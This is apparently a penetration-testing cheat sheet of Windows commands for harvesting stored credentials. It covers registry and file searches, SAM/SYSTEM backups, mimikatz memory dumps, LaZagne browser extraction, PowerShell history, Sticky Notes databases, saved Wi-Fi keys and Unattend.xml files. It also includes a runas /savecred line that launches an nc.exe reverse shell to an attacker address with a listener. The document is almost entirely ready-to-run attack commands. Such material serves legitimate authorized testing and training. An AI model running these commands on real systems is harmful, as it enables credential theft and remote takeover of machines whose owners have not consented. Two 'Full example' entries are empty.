File searching commands¶
-
Search for potentially risky files in the current directory and subdirectories:
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* == *user*
-
Search for cleartext credentials in XML files:
gci * -Include *.xml -Recurse -EA SilentlyContinue | select-string cpassword
-
Search for IIS web.config files:
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
-
Find files containing the word "password" across common configuration file types:
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.ps1 *.bat *.zip
-
Hunt for SAM and SYSTEM backups:
cd C: & dir /S /B SAM == SYSTEM == SAM.OLD == SYSTEM.OLD == SAM.BAK == SYSTEM.BAK
-
Use winPEAS to search for credential files:
.\winPEASany.exe quiet cmd searchfast filesinfo
Searching for credentials in the registry¶
- Search for passwords in
HKLM
:
reg query HKLM /f password /t REG_SZ /s
- Search for passwords in
HKCU
:
reg query HKCU /f password /t REG_SZ /s
- Retrieve PuTTY credentials:
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions /f "Proxy" /s
Saved Windows credentials¶
Windows allows saving credentials for reuse. These commands help enumerate and leverage them:
- Identify saved credentials with winPEAS:
.\winPEASx64.exe quiet cmd windowscreds
- Check AutoLogon credentials in the registry:
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
- Extract plaintext passwords from memory with mimikatz:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
- Manually list saved credentials:
cmdkey /list
- Run commands with saved credentials:
runas /savecred /user:admin cmd.exe
- Start a Netcat listener:
nc -lvnp 1337
- Use saved credentials to trigger a reverse shell:
runas /env /noprofile /savecred /user:DESKTOP-T3I4BBK\administrator "c:\temp\nc.exe [IP-ADDRESS] 1337 -e cmd.exe"
PowerShell history file¶
- Locate the PowerShell history file:
(Get-PSReadLineOption).HistorySavePath
- Read contents of the history file:
gc (Get-PSReadLineOption).HistorySavePath
- Retrieve history for all users:
foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}
Browser credentials¶
- Extract browser credentials with LaZagne:
lazagne.exe browsers
- Example: Search Chrome dictionary file for "password":
gc 'C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String password
PowerShell credentials¶
- Import credentials from XML:
$credential = Import-Clixml -Path 'C:\scripts\pass.xml'
- Retrieve username:
$credential.GetNetworkCredential().Username
- Retrieve password:
$credential.GetNetworkCredential().Password
-
Full example:
Sticky Notes passwords¶
- Locate Sticky Notes database:
ls C:\Users\[USER]\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState
- Allow PowerShell execution in current process:
Set-ExecutionPolicy Bypass -Scope Process
- Navigate to the PSSQLite module directory:
cd .\PSSQLite\
- Import the PSSQLite module:
Import-Module .\PSSQLite.psd1
- Define the database path:
$db = 'C:\Users\[USER]\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite'
- Query the database:
Invoke-SqliteQuery -Database $db -Query "SELECT Text FROM Note" | Format-Table -Wrap
- Alternative: dump contents with
strings
:
strings 'C:\Users\[USER]\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite-wal'
Wi-Fi passwords¶
- List saved wireless networks:
netsh wlan show profile
- Retrieve password for a profile:
netsh wlan show profile [PROFILE-NAME] key=clear
- One-liner to extract all saved Wi-Fi passwords:
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
Unattend.xml¶
Windows Deployment Services often leave unattended installation files containing admin credentials.
Manually check common locations¶
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\sysprep.inf
C:\Windows\System32\sysprep\sysprep.xml
Automatically search¶
- Find unattended/sysprep files:
Get-ChildItem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue
- Search for specific filenames:
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
- Search for "password" in all files:
findstr /spin "password" *.*
-
Example from
Unattend.xml
: